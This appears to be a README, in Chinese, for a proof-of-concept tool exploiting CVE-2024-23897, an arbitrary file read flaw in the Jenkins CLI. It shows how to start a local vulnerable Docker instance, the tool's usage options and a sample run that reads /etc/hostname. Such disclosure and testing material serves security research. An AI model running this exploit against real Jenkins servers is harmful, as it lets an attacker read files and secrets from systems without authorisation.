一个针对 CVE-2024-23897 的概念验证(PoC)代码,该漏洞是 Jenkins 内置命令行界面(CLI)中的任意文件读取漏洞。它允许拥有 Overall/Read 权限的未认证攻击者读取 Jenkins 控制器文件系统上的任意文件。
受影响版本
使用 docker compose 启动一个本地易受攻击的实例:
cd docker
docker compose up -d
该实例将在 http://localhost:1234 可用
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 文件读取 PoC
options:
-h, --help 显示此帮助信息并退出
--url URL Jenkins 实例的 URL(默认:http://localhost:1234)
--file FILE 要读取的文件(默认:/etc/hostname)
--method {1,2,3} 使用的方法 [connect-node(1), who-am-i(2), 或 help(3)](默认:1)
示例
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
由于并发和连接超时,脚本在读取较大文件时可能会出现问题。更多技术细节和漏洞讲解,请参阅我的关于该主题的博客文章。